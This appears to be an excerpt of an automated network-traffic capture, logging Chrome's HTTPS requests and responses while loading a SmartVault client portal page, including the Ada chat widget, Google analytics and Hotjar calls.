2024-04-11 20:35:44 UTC	705	IN	HTTP/1.1 400 Bad Request Content-Type: text/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Date: Thu, 11 Apr 2024 20:35:44 GMT Cache-Control: no-cache Referrer-Policy: strict-origin-when-cross-origin Vary: Accept-Encoding Vary: Origin X-Content-Type-Options: nosniff X-Download-Options: noopen X-Frame-Options: SAMEORIGIN X-Permitted-Cross-Domain-Policies: none X-Request-Id: 37796946-866c-4a83-8698-14e19cc20375 X-Runtime: 0.001430 X-Xss-Protection: 1; mode=block X-Cache: Error from cloudfront Via: 1.1 1baed9857df8e3a07a6cd7cd51feb3f8.cloudfront.net (CloudFront) X-Amz-Cf-Pop: EWR53-P1 X-Amz-Cf-Id: zPIbkNimGrAt35njhZEn-oSQPIZVMCj4FinzCu7IyKssY-v0loRF3Q==
2024-04-11 20:35:44 UTC	23	IN	Data Raw: 31 31 0d 0a 2f 2a 20 62 61 64 20 72 65 71 75 65 73 74 20 2a 2f 0d 0a Data Ascii: 11/* bad request */
2024-04-11 20:35:44 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
260	192.168.2.4	50142	13.226.34.19	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:44 UTC	628	OUT	GET /smartvault/client.json?ada_request_origin=embed HTTP/1.1 Host: rollout.ada.support Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://bfjfinancialgroup.smartvault.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://bfjfinancialgroup.smartvault.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:44 UTC	671	IN	HTTP/1.1 200 OK Content-Type: application/json Content-Length: 20439 Connection: close Date: Thu, 11 Apr 2024 20:35:45 GMT Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, HEAD Access-Control-Expose-Headers: ETag Access-Control-Max-Age: 300 Last-Modified: Thu, 11 Apr 2024 15:15:34 GMT ETag: "13d3b1f582d5f68e389bbe7a25fd5fbc" x-amz-server-side-encryption: AES256 Cache-Control: no-cache Accept-Ranges: bytes Server: AmazonS3 Vary: Origin X-Cache: Miss from cloudfront Via: 1.1 b0ff224008cc113345fc49da87d20e9a.cloudfront.net (CloudFront) X-Amz-Cf-Pop: EWR53-C2 X-Amz-Cf-Id: rsJF0DNKjc8rq-FvMMzH6ypMVKIwo7wOg1BYht5Zfo1DXuPGgqjVXg==
2024-04-11 20:35:44 UTC	15713	IN	Data Raw: 7b 22 63 61 63 68 65 5f 76 65 72 73 69 6f 6e 22 3a 20 22 76 32 22 2c 20 22 68 61 6e 64 6c 65 22 3a 20 22 73 6d 61 72 74 76 61 75 6c 74 22 2c 20 22 6e 61 6d 65 22 3a 20 22 73 6d 61 72 74 76 61 75 6c 74 22 2c 20 22 72 6f 6c 6c 6f 75 74 22 3a 20 31 2e 30 2c 20 22 61 6c 74 65 72 6e 61 74 69 76 65 5f 62 6f 74 22 3a 20 6e 75 6c 6c 2c 20 22 63 68 61 74 45 6e 61 62 6c 65 64 22 3a 20 74 72 75 65 2c 20 22 63 68 61 74 22 3a 20 74 72 75 65 2c 20 22 70 65 72 73 69 73 74 65 6e 63 65 22 3a 20 22 73 65 73 73 69 6f 6e 22 2c 20 22 74 69 6e 74 22 3a 20 22 23 37 42 30 30 35 46 22 2c 20 22 6c 61 6e 67 75 61 67 65 22 3a 20 22 65 6e 22 2c 20 22 74 72 61 6e 73 6c 61 74 65 64 5f 6c 61 6e 67 75 61 67 65 73 22 3a 20 5b 5d 2c 20 22 66 65 61 74 75 72 65 73 22 3a 20 7b 22 61 64 61 5f Data Ascii: {"cache_version": "v2", "handle": "smartvault", "name": "smartvault", "rollout": 1.0, "alternative_bot": null, "chatEnabled": true, "chat": true, "persistence": "session", "tint": "#7B005F", "language": "en", "translated_languages": [], "features": {"ada_
2024-04-11 20:35:44 UTC	1533	IN	Data Raw: 65 64 64 63 62 37 62 22 2c 20 22 36 34 61 36 63 33 35 30 39 38 37 63 66 63 39 36 31 66 38 31 62 34 64 30 22 2c 20 22 36 34 39 39 66 36 31 33 65 36 62 33 32 36 66 34 35 65 37 32 34 30 36 63 22 2c 20 22 36 33 64 63 32 36 64 63 61 31 39 32 65 38 64 39 34 66 36 38 62 62 34 38 22 2c 20 22 36 32 61 31 31 36 31 63 63 62 64 36 66 65 65 39 63 33 64 33 36 35 31 36 22 2c 20 22 36 32 37 32 38 64 62 62 38 37 36 65 34 66 36 31 38 65 38 33 62 65 64 64 22 2c 20 22 36 32 34 33 31 35 32 32 64 66 63 61 32 39 64 62 62 66 30 64 38 39 39 61 22 2c 20 22 36 31 36 38 61 65 36 38 62 30 38 35 38 65 39 31 65 39 62 66 39 30 61 36 22 2c 20 22 36 31 36 38 61 33 31 62 35 62 31 39 30 33 66 33 61 62 32 38 61 38 36 33 22 2c 20 22 36 31 36 35 37 65 62 36 32 33 65 64 61 30 62 64 37 35 36 65 Data Ascii: eddcb7b", "64a6c350987cfc961f81b4d0", "6499f613e6b326f45e72406c", "63dc26dca192e8d94f68bb48", "62a1161ccbd6fee9c3d36516", "62728dbb876e4f618e83bedd", "62431522dfca29dbbf0d899a", "6168ae68b0858e91e9bf90a6", "6168a31b5b1903f3ab28a863", "61657eb623eda0bd756e
2024-04-11 20:35:44 UTC	3193	IN	Data Raw: 79 5f 57 65 62 69 6e 61 72 22 2c 20 22 74 72 69 67 67 65 72 5f 63 6f 6e 64 69 74 69 6f 6e 73 22 3a 20 5b 5d 2c 20 22 76 61 6c 75 65 22 3a 20 30 2e 30 2c 20 22 61 72 63 68 69 76 65 64 22 3a 20 66 61 6c 73 65 7d 2c 20 7b 22 5f 69 64 22 3a 20 22 36 34 39 39 66 34 62 32 63 32 31 63 38 36 39 38 30 65 30 63 34 61 36 62 22 2c 20 22 65 76 65 6e 74 5f 6b 65 79 22 3a 20 22 43 6c 69 63 6b 65 64 5f 43 58 5f 57 65 62 69 6e 61 72 5f 4c 69 6e 6b 22 2c 20 22 74 72 69 67 67 65 72 5f 63 6f 6e 64 69 74 69 6f 6e 73 22 3a 20 5b 5d 2c 20 22 76 61 6c 75 65 22 3a 20 30 2e 30 2c 20 22 61 72 63 68 69 76 65 64 22 3a 20 66 61 6c 73 65 7d 2c 20 7b 22 5f 69 64 22 3a 20 22 36 34 39 39 66 35 35 37 30 35 35 62 34 37 64 36 65 36 36 66 36 63 66 34 22 2c 20 22 65 76 65 6e 74 5f 6b 65 79 22 Data Ascii: y_Webinar", "trigger_conditions": [], "value": 0.0, "archived": false}, {"_id": "6499f4b2c21c86980e0c4a6b", "event_key": "Clicked_CX_Webinar_Link", "trigger_conditions": [], "value": 0.0, "archived": false}, {"_id": "6499f557055b47d6e66f6cf4", "event_key"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
261	192.168.2.4	50143	142.251.163.155	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:44 UTC	616	OUT	GET /j/collect?t=dc&aip=1&_r=3&v=1&_v=j101&tid=UA-34911621-1&cid=118679924.1712867743&jid=1335302761&gjid=1262711934&_gid=1484758262.1712867743&_u=aGBAiEAjBAAAAGAAI~&z=900503395 HTTP/1.1 Host: stats.g.doubleclick.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:44 UTC	531	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=10886400; includeSubDomains; preload Date: Thu, 11 Apr 2024 20:35:44 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate Last-Modified: Sun, 17 May 1998 03:00:00 GMT X-Content-Type-Options: nosniff Content-Type: text/plain Cross-Origin-Resource-Policy: cross-origin Server: Golfe2 Content-Length: 2 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-11 20:35:44 UTC	2	IN	Data Raw: 31 67 Data Ascii: 1g

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
262	192.168.2.4	50144	142.250.65.228	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:44 UTC	1021	OUT	GET /ads/ga-audiences?t=sr&aip=1&_r=4&slf_rd=1&v=1&_v=j101&tid=UA-34911621-1&cid=118679924.1712867743&jid=1335302761&_u=aGBAiEAjBAAAAGAAI~&z=106304753 HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://bfjfinancialgroup.smartvault.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=513=KJ_tlYS8RoWe7-Wj9_-4O7JXRHhOfs8A8O-xBHK8Tw1Tf3uIdoBJIo2rMpOPgBAi7HAJGtrKObe52n08PvHHy8A38W8M4IuigqbwzFeApbtdrvJaVDBGT7b4xgVbQdRVEgS9QN4nnbqL5mOSvxeKoVraQFN4jdVTVRbzBLcncgo
2024-04-11 20:35:44 UTC	539	IN	HTTP/1.1 200 OK P3P: policyref="https://www.googleadservices.com/pagead/p3p.xml", CP="NOI DEV PSA PSD IVA IVD OTP OUR OTR IND OTC" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Date: Thu, 11 Apr 2024 20:35:44 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate Content-Type: image/gif X-Content-Type-Options: nosniff Server: cafe Content-Length: 42 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-11 20:35:44 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
263	192.168.2.4	50145	18.164.96.95	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:44 UTC	618	OUT	GET /sessions/231701?s=0.25&r=0.11121690088451719 HTTP/1.1 Host: vc.hotjar.io Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://bfjfinancialgroup.smartvault.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://bfjfinancialgroup.smartvault.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:44 UTC	337	IN	HTTP/1.1 204 No Content Connection: close Access-Control-Allow-Origin: * Cache-Control: no-store Date: Thu, 11 Apr 2024 20:35:44 GMT X-Cache: Miss from cloudfront Via: 1.1 cf549a03d4f209dc2ee52d1dd6cb3730.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK50-P5 X-Amz-Cf-Id: lHLjIKRawD6sqUqWzni8NMKFj84R9rvYzYLqTA1ghdE1DU9uyEg_qA==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
264	192.168.2.4	50147	18.164.124.120	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:44 UTC	360	OUT	GET /chat-manifest.json HTTP/1.1 Host: static.ada.support Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:44 UTC	766	IN	HTTP/1.1 200 OK Content-Type: application/json Content-Length: 252 Connection: close Date: Thu, 11 Apr 2024 20:13:25 GMT Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, HEAD Access-Control-Expose-Headers: ETag Access-Control-Max-Age: 3000 Last-Modified: Thu, 11 Apr 2024 20:11:23 GMT Etag: "9333f96d8bbadd64a6bd55255a021a64" X-Amz-Server-Side-Encryption: AES256 X-Amz-Version-Id: zhBgUlm01wV_L0RYrAhpXr_Xm9iBba2r Accept-Ranges: bytes Server: AmazonS3 Via: 1.1 43612939fd59beab4d0cf84fecc2c956.cloudfront.net (CloudFront) Age: 1339 Strict-Transport-Security: max-age=63072000; includeSubdomains; preload X-Cache: Hit from cloudfront X-Amz-Cf-Pop: JFK50-P7 X-Amz-Cf-Id: Ogr1IiOAPU9PWXzAy14udKBcvdtI8UIV0iu2gGmMDw5lU7sBEs16hw==
2024-04-11 20:35:44 UTC	252	IN	Data Raw: 7b 0a 20 20 22 76 65 72 73 69 6f 6e 73 22 3a 20 5b 0a 20 20 20 20 7b 0a 20 20 20 20 20 20 22 74 61 67 22 3a 20 22 63 61 6e 61 72 79 22 2c 0a 20 20 20 20 20 20 22 68 61 73 68 22 3a 20 22 34 34 33 30 34 64 64 66 63 33 39 32 63 65 64 32 63 61 30 39 63 63 32 30 36 34 33 35 62 35 39 38 36 64 31 33 35 62 36 33 22 2c 0a 20 20 20 20 20 20 22 77 65 69 67 68 74 22 3a 20 30 2e 31 0a 20 20 20 20 7d 2c 0a 20 20 20 20 7b 0a 20 20 20 20 20 20 22 74 61 67 22 3a 20 22 73 74 61 62 6c 65 22 2c 0a 20 20 20 20 20 20 22 68 61 73 68 22 3a 20 22 62 39 36 34 31 63 32 38 63 37 66 62 61 33 39 30 64 38 61 33 61 66 35 39 33 31 63 63 30 35 61 65 61 34 64 65 36 38 30 39 22 2c 0a 20 20 20 20 20 20 22 77 65 69 67 68 74 22 3a 20 30 2e 39 0a 20 20 20 20 7d 0a 20 20 5d 0a 7d 0a 0a Data Ascii: { "versions": [ { "tag": "canary", "hash": "44304ddfc392ced2ca09cc206435b5986d135b63", "weight": 0.1 }, { "tag": "stable", "hash": "b9641c28c7fba390d8a3af5931cc05aea4de6809", "weight": 0.9 } ]}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
265	192.168.2.4	50149	13.226.34.19	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:44 UTC	390	OUT	GET /smartvault/client.json?ada_request_origin=embed HTTP/1.1 Host: rollout.ada.support Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:45 UTC	518	IN	HTTP/1.1 200 OK Content-Type: application/json Content-Length: 20439 Connection: close Date: Thu, 11 Apr 2024 20:35:46 GMT Last-Modified: Thu, 11 Apr 2024 15:15:34 GMT ETag: "13d3b1f582d5f68e389bbe7a25fd5fbc" x-amz-server-side-encryption: AES256 Cache-Control: no-cache Accept-Ranges: bytes Server: AmazonS3 X-Cache: Miss from cloudfront Via: 1.1 2f04b33f21912079fa9d6afaee0c5dd0.cloudfront.net (CloudFront) X-Amz-Cf-Pop: EWR53-C2 X-Amz-Cf-Id: tdBuH86mfplf1Py2Rj6KI1FWZtog0w8PTkJ8V6_vlSHARKrB9DlT1A==
2024-04-11 20:35:45 UTC	8461	IN	Data Raw: 7b 22 63 61 63 68 65 5f 76 65 72 73 69 6f 6e 22 3a 20 22 76 32 22 2c 20 22 68 61 6e 64 6c 65 22 3a 20 22 73 6d 61 72 74 76 61 75 6c 74 22 2c 20 22 6e 61 6d 65 22 3a 20 22 73 6d 61 72 74 76 61 75 6c 74 22 2c 20 22 72 6f 6c 6c 6f 75 74 22 3a 20 31 2e 30 2c 20 22 61 6c 74 65 72 6e 61 74 69 76 65 5f 62 6f 74 22 3a 20 6e 75 6c 6c 2c 20 22 63 68 61 74 45 6e 61 62 6c 65 64 22 3a 20 74 72 75 65 2c 20 22 63 68 61 74 22 3a 20 74 72 75 65 2c 20 22 70 65 72 73 69 73 74 65 6e 63 65 22 3a 20 22 73 65 73 73 69 6f 6e 22 2c 20 22 74 69 6e 74 22 3a 20 22 23 37 42 30 30 35 46 22 2c 20 22 6c 61 6e 67 75 61 67 65 22 3a 20 22 65 6e 22 2c 20 22 74 72 61 6e 73 6c 61 74 65 64 5f 6c 61 6e 67 75 61 67 65 73 22 3a 20 5b 5d 2c 20 22 66 65 61 74 75 72 65 73 22 3a 20 7b 22 61 64 61 5f Data Ascii: {"cache_version": "v2", "handle": "smartvault", "name": "smartvault", "rollout": 1.0, "alternative_bot": null, "chatEnabled": true, "chat": true, "persistence": "session", "tint": "#7B005F", "language": "en", "translated_languages": [], "features": {"ada_
2024-04-11 20:35:45 UTC	11978	IN	Data Raw: 61 65 37 66 37 32 34 65 62 63 61 66 66 22 2c 20 22 76 65 72 73 69 6f 6e 22 3a 20 22 32 30 32 31 2d 30 31 2d 31 32 22 2c 20 22 66 6f 6c 6c 6f 77 5f 75 70 5f 72 65 73 70 6f 6e 73 65 5f 69 64 22 3a 20 6e 75 6c 6c 7d 2c 20 7b 22 5f 69 64 22 3a 20 22 36 31 36 38 61 33 31 62 35 62 31 39 30 33 66 33 61 62 32 38 61 38 36 33 22 2c 20 22 63 61 6d 70 61 69 67 6e 5f 6b 65 79 22 3a 20 22 44 6f 63 75 73 69 67 6e 5f 53 75 62 73 63 72 69 70 74 69 6f 6e 5f 43 61 6d 70 61 69 67 6e 22 2c 20 22 73 74 61 74 75 73 22 3a 20 22 61 63 74 69 76 65 22 2c 20 22 74 72 69 67 67 65 72 5f 63 6f 6e 64 69 74 69 6f 6e 73 22 3a 20 5b 7b 22 74 79 70 65 22 3a 20 22 75 72 6c 2d 6d 61 74 63 68 22 2c 20 22 63 6f 6e 64 69 74 69 6f 6e 73 5f 61 6e 79 22 3a 20 5b 7b 22 74 79 70 65 22 3a 20 22 63 6f Data Ascii: ae7f724ebcaff", "version": "2021-01-12", "follow_up_response_id": null}, {"_id": "6168a31b5b1903f3ab28a863", "campaign_key": "Docusign_Subscription_Campaign", "status": "active", "trigger_conditions": [{"type": "url-match", "conditions_any": [{"type": "co

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
266	192.168.2.4	50151	142.250.72.100	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:44 UTC	769	OUT	GET /ads/ga-audiences?t=sr&aip=1&_r=4&slf_rd=1&v=1&_v=j101&tid=UA-34911621-1&cid=118679924.1712867743&jid=1335302761&_u=aGBAiEAjBAAAAGAAI~&z=106304753 HTTP/1.1 Host: www.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=513=KJ_tlYS8RoWe7-Wj9_-4O7JXRHhOfs8A8O-xBHK8Tw1Tf3uIdoBJIo2rMpOPgBAi7HAJGtrKObe52n08PvHHy8A38W8M4IuigqbwzFeApbtdrvJaVDBGT7b4xgVbQdRVEgS9QN4nnbqL5mOSvxeKoVraQFN4jdVTVRbzBLcncgo
2024-04-11 20:35:45 UTC	539	IN	HTTP/1.1 200 OK P3P: policyref="https://www.googleadservices.com/pagead/p3p.xml", CP="NOI DEV PSA PSD IVA IVD OTP OUR OTR IND OTC" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Date: Thu, 11 Apr 2024 20:35:45 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate Content-Type: image/gif X-Content-Type-Options: nosniff Server: cafe Content-Length: 42 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-11 20:35:45 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
267	192.168.2.4	50153	18.164.124.35	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:44 UTC	735	OUT	GET /embed/x-storage/e540f3c/index.html HTTP/1.1 Host: smartvault.ada.support Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://bfjfinancialgroup.smartvault.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:45 UTC	643	IN	HTTP/1.1 200 OK Content-Type: text/html Content-Length: 237 Connection: close Date: Thu, 11 Apr 2024 01:00:11 GMT Last-Modified: Thu, 28 Mar 2024 16:26:18 GMT Etag: "93f912ceabb0586748b7b0061a4f94fa" X-Amz-Server-Side-Encryption: AES256 Cache-Control: 172800 X-Amz-Version-Id: bOm4gxufRe4N2YpTcxzVyrWK9v80OGQO Accept-Ranges: bytes Server: AmazonS3 Via: 1.1 a4c7006ff62b5b4c16c58f54fdfeb656.cloudfront.net (CloudFront) Age: 70535 Strict-Transport-Security: max-age=63072000; includeSubdomains; preload X-Cache: Hit from cloudfront X-Amz-Cf-Pop: JFK50-P7 X-Amz-Cf-Id: NZwXHHlzocziHAfueCt2wm9VyqHS399vHsnrWB4Et74j8NuNE--X8Q==
2024-04-11 20:35:45 UTC	237	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 2f 3e 3c 74 69 74 6c 65 3e 41 64 61 20 58 20 53 74 6f 72 61 67 65 3c 2f 74 69 74 6c 65 3e 3c 73 63 72 69 70 74 20 64 65 66 65 72 3d 22 64 65 66 65 72 22 20 73 72 63 3d 22 73 65 6e 74 72 79 2e 62 36 39 38 35 33 34 31 64 35 33 61 65 61 35 61 66 37 32 66 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 64 65 66 65 72 3d 22 64 65 66 65 72 22 20 73 72 63 3d 22 69 6e 64 65 78 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 20 30 22 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!doctype html><html><head><meta charset="UTF-8"/><title>Ada X Storage</title><script defer="defer" src="sentry.b6985341d53aea5af72f.js"></script><script defer="defer" src="index.js"></script></head><body style="margin: 0"></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
268	192.168.2.4	50152	18.164.124.35	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:44 UTC	732	OUT	GET /embed/button/e540f3c/index.html HTTP/1.1 Host: smartvault.ada.support Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://bfjfinancialgroup.smartvault.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:45 UTC	667	IN	HTTP/1.1 200 OK Content-Type: text/html Content-Length: 4828 Connection: close Date: Thu, 11 Apr 2024 14:36:30 GMT Last-Modified: Thu, 28 Mar 2024 16:26:18 GMT Etag: "2dac51d31a483f0c6df2f926f31650fa" X-Amz-Server-Side-Encryption: AES256 Cache-Control: 172800 X-Amz-Version-Id: r9LfwF7u_.nql5pvznjfTiLFG.GaKRp6 Accept-Ranges: bytes Server: AmazonS3 Vary: Accept-Encoding Via: 1.1 43612939fd59beab4d0cf84fecc2c956.cloudfront.net (CloudFront) Age: 21556 Strict-Transport-Security: max-age=63072000; includeSubdomains; preload X-Cache: Hit from cloudfront X-Amz-Cf-Pop: JFK50-P7 X-Amz-Cf-Id: hiu_dCeoSlQKOrr_G4rh8DRjgvKWIzOpXM9tH1FerYn5X2e3fTPHjA==
2024-04-11 20:35:45 UTC	3198	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 2f 3e 3c 73 74 79 6c 65 3e 2e 62 75 74 74 6f 6e 20 7b 0a 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 35 30 25 3b 0a 20 20 20 20 20 20 20 20 63 75 72 73 6f 72 3a 20 70 6f 69 6e 74 65 72 3b 0a 20 20 20 20 20 20 20 20 62 6f 78 2d 73 68 61 64 6f 77 3a 20 30 20 32 70 78 20 34 70 78 20 72 67 62 61 28 30 2c 20 30 2c 20 30 2c 20 30 2e 31 29 3b 0a 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 3a 20 31 70 78 20 73 6f 6c 69 64 20 72 67 62 61 28 30 2c 20 30 2c 20 30 2c 20 30 2e 30 35 29 3b Data Ascii: <!doctype html><html><head><meta charset="UTF-8"/><style>.button { padding: 0; margin: 0; border-radius: 50%; cursor: pointer; box-shadow: 0 2px 4px rgba(0, 0, 0, 0.1); border: 1px solid rgba(0, 0, 0, 0.05);
